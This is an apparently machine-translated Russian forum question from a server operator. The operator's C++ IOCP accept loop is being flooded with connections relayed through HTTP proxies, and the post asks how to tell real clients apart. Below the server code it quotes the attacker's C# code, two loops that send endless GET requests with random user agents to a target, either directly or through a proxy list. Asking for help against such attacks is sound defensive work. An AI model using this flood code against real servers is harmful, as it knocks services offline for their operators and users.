как дела? У меня проблемы с классом Socket, я получаю случайные соединения извне клиента (скажем, консоль, заполненную прокси-серверами), и я получаю мое приложение таким образом. Я не могу отфильтровать IP-адреса, потому что они все разные и, конечно, никакая защита от DDOS их не остановит. Основная проблема заключается в том, что IDK, как определить, идет ли сокет с моего клиента или с какого-либо другого места (в этом случае атака идет с http-прокси).
Здесь я ухожу, где возникла проблема.
if (gObjAdd (socket, inet_ntoa (SocketAddr.sin_addr), index) == -1) Добавляет нового клиента, без действительного подключения от клиента, после этого он проверяет, но этого достаточно для получения приложения залил и сервер упал.
DWORD WINAPI CSocketManager::ServerAcceptThread(CSocketManager* lpSocketManager) // OK
{
SOCKADDR_IN SocketAddr;
int SocketAddrSize = sizeof(SocketAddr);
while(true)
{
SOCKET socket = WSAAccept(lpSocketManager->m_listen,(sockaddr*)&SocketAddr,&SocketAddrSize,(LPCONDITIONPROC)&lpSocketManager->ServerAcceptCondition,(DWORD)lpSocketManager);
if(socket == SOCKET_ERROR && WSAGetLastError() != WSAEWOULDBLOCK)
{
lpSocketManager->m_critical.lock();
gLog.Output(LOG_CONNECT,"[SocketManager] WSAAccept() failed with error: %d",WSAGetLastError());
lpSocketManager->m_critical.unlock();
continue;
}
lpSocketManager->m_critical.lock();
int index = gObjAddSearch(socket,inet_ntoa(SocketAddr.sin_addr));
if(index == -1)
{
closesocket(socket);
lpSocketManager->m_critical.unlock();
continue;
}
if(CreateIoCompletionPort((HANDLE)socket,lpSocketManager->m_CompletionPort,index,0) == 0)
{
gLog.Output(LOG_CONNECT,"[SocketManager] CreateIoCompletionPort() failed with error: %d",GetLastError());
closesocket(socket);
lpSocketManager->m_critical.unlock();
continue;
}
if(gObjAdd(socket,inet_ntoa(SocketAddr.sin_addr),index) == -1)
{
gLog.Output(LOG_CONNECT,"[SocketManager] gObjAdd() failed with error: %d",GetLastError());
closesocket(socket);
lpSocketManager->m_critical.unlock();
continue;
}
PROTECT_START
LPOBJ lpObj = &gObj[index];
lpObj->PerSocketContext->Socket = socket;
lpObj->PerSocketContext->Index = index;
memset(&lpObj->PerSocketContext->IoRecvContext.overlapped,0,sizeof(lpObj->PerSocketContext->IoRecvContext.overlapped));
lpObj->PerSocketContext->IoRecvContext.wsabuf.buf = (char*)lpObj->PerSocketContext->IoRecvContext.IoMainBuffer.buff;
lpObj->PerSocketContext->IoRecvContext.wsabuf.len = MAX_MAIN_PACKET_SIZE;
lpObj->PerSocketContext->IoRecvContext.IoType = IO_RECV;
lpObj->PerSocketContext->IoRecvContext.IoSize = 0;
lpObj->PerSocketContext->IoRecvContext.IoMainBuffer.size = 0;
memset(&lpObj->PerSocketContext->IoSendContext.overlapped,0,sizeof(lpObj->PerSocketContext->IoSendContext.overlapped));
lpObj->PerSocketContext->IoSendContext.wsabuf.buf = (char*)lpObj->PerSocketContext->IoSendContext.IoMainBuffer.buff;
lpObj->PerSocketContext->IoSendContext.wsabuf.len = MAX_MAIN_PACKET_SIZE;
lpObj->PerSocketContext->IoSendContext.IoType = IO_SEND;
lpObj->PerSocketContext->IoSendContext.IoSize = 0;
lpObj->PerSocketContext->IoSendContext.IoMainBuffer.size = 0;
lpObj->PerSocketContext->IoSendContext.IoSideBuffer.size = 0;
PROTECT_FINAL
DWORD RecvSize=0,Flags=0;
if(WSARecv(socket,&lpObj->PerSocketContext->IoRecvContext.wsabuf,1,&RecvSize,&Flags,&lpObj->PerSocketContext->IoRecvContext.overlapped,0) == SOCKET_ERROR)
{
if(WSAGetLastError() != WSA_IO_PENDING)
{
gLog.Output(LOG_CONNECT,"[SocketManager] WSARecv() failed with error: %d",WSAGetLastError());
lpSocketManager->Disconnect(index);
lpSocketManager->m_critical.unlock();
continue;
}
}
GCConnectClientSend(index,1);
lpSocketManager->m_critical.unlock();
}
return 0;
}
Код атаки:
private void HTTPAttacker()
{
string uRL = target.URL;
string text = target.IP;
int port = target.port;
if (text == null && uRL != null)
{
text = resolveUrl(uRL);
target.IP = text;
}
if (text != null && text.Contains("http://"))
{
text = resolveUrl(text);
target.IP = text;
}
while (IsAttacking() && GetMethod() == 2)
{
RailgunClient railgunClient = new RailgunClient(0);
RailgunHTTPBuilder railgunHTTPBuilder = new RailgunHTTPBuilder();
railgunHTTPBuilder.SetDefaultRailgunOptions();
railgunHTTPBuilder.SetHost(cleanUrl(uRL));
railgunHTTPBuilder.SetUrl(uRL);
railgunHTTPBuilder.SetRandomUserAgent();
railgunHTTPBuilder.BuildGETRequest();
if (!railgunClient.ConnectAndSend(text, port, railgunHTTPBuilder.RequestStr))
{
Thread.Sleep(100);
}
}
}
private void HTTPProxyAttacker()
{
string uRL = target.URL;
string[] array = proxyList[rand.Next(0, proxyList.Length - 1)].Split(':');
int port;
try
{
port = Convert.ToInt32(array[1]);
}
catch
{
return;
}
string ip = array[0];
while (IsAttacking() && GetMethod() == 3)
{
RailgunClient railgunClient = new RailgunClient(0);
RailgunHTTPBuilder railgunHTTPBuilder = new RailgunHTTPBuilder();
railgunHTTPBuilder.SetDefaultRailgunOptions();
railgunHTTPBuilder.SetHost(cleanUrl(uRL));
railgunHTTPBuilder.SetUrl(uRL);
railgunHTTPBuilder.SetRandomUserAgent();
railgunHTTPBuilder.BuildGETRequest();
if (!railgunClient.ConnectAndSend(ip, port, railgunHTTPBuilder.RequestStr))
{
Thread.Sleep(100);
}
}
}
Спасибо за помощь.